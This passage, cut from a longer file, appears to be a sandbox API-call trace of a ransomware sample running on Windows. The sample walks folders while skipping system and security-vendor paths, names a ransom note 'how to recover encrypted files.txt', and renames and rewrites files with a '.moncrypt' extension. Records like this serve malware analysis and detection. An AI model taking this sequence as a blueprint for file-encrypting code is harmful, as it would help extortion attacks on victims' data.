shared\\equation\\") returned 0x38 [0041.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\帘R ") returned 6 [0041.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0041.308] GetLastError () returned 0x2 [0041.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0041.308] GetLastError () returned 0x2 [0041.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0041.308] GetLastError () returned 0x2 [0041.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0041.309] GetLastError () returned 0x2 [0041.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="꟬R䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0041.309] GetLastError () returned 0x2 [0041.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.309] GlobalLock (hMem=0x440004) returned 0x550170 [0041.309] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.309] GlobalUnlock (hMem=0x440004) returned 0 [0041.309] GlobalLock (hMem=0x440004) returned 0x550170 [0041.309] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.309] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.309] GlobalUnlock (hMem=0x440004) returned 0 [0041.309] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.309] GlobalUnlock (hMem=0x44000c) returned 0 [0041.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.309] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.309] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0041.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.309] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.310] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.310] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.310] GlobalUnlock (hMem=0x44000c) returned 0 [0041.310] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.310] GlobalLock (hMem=0x440004) returned 0x552180 [0041.310] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.310] GlobalUnlock (hMem=0x44000c) returned 0 [0041.310] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.310] GlobalUnlock (hMem=0x440004) returned 0 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0041.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.311] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\equation\\") returned 0x38 [0041.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0041.311] GlobalLock (hMem=0x440004) returned 0x550170 [0041.311] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.311] GlobalUnlock (hMem=0x440004) returned 0 [0041.311] GlobalLock (hMem=0x440004) returned 0x550170 [0041.311] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.311] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.311] GlobalUnlock (hMem=0x440004) returned 0 [0041.311] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.311] GlobalUnlock (hMem=0x44000c) returned 0 [0041.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.314] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.314] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0041.314] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0041.314] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.314] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.314] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.314] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.314] GlobalUnlock (hMem=0x44000c) returned 0 [0041.314] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.314] GlobalLock (hMem=0x440004) returned 0x553188 [0041.314] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.314] GlobalUnlock (hMem=0x44000c) returned 0 [0041.314] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.314] GlobalUnlock (hMem=0x440004) returned 0 [0041.314] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.315] CharLowerBuffW (in: lpsz="EQNEDT32.CNT", cchLength=0xc | out: lpsz="eqnedt32.cnt") returned 0xc [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.315] CharLowerBuffW (in: lpsz=".CNT", cchLength=0x4 | out: lpsz=".cnt") returned 0x4 [0041.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cnt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cntShared\\EQUATION\\EQNEDT32.CNTn", lpUsedDefaultChar=0x0) returned 4 [0041.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.358] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0041.359] CloseHandle (hObject=0x188) returned 1 [0041.359] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\я")) returned 1 [0041.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 0x54e200 [0041.360] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0041.360] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0041.360] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0041.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", dwFileAttributes=0x20) returned 1 [0041.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt眵?\x18") returned 9 [0041.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.moncrypt")) returned 1 [0041.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0041.422] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0041.422] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x9fd [0041.422] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0041.422] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x9fd, lpOverlapped=0x0) returned 1 [0041.424] GlobalLock (hMem=0x440004) returned 0x551178 [0041.424] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.424] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.424] GlobalUnlock (hMem=0x440004) returned 0 [0041.424] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.424] GlobalUnlock (hMem=0x44000c) returned 0 [0041.424] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.424] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.424] GlobalUnlock (hMem=0x44000c) returned 0 [0041.424] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0041.424] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0xa20, lpOverlapped=0x0) returned 1 [0041.424] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0041.424] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0041.436] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, 